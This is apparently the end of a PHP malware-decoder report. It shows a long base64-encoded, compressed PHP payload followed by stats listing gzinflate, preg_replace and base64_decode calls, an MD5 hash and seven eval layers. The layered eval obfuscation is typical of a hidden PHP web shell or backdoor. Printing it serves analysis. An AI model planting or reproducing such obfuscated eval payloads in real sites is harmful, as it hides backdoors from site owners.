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'\x29\x29\x29\x3B","");
?>
Function Calls
| gzinflate | 4 |
| dsnnye95431 | 1 |
| preg_replace | 3 |
| base64_decode | 4 |
Stats
| MD5 | 66d3f9d657641f2c061e381d57a81fdf |
| Eval Count | 7 |
| Decode Time | 246 ms |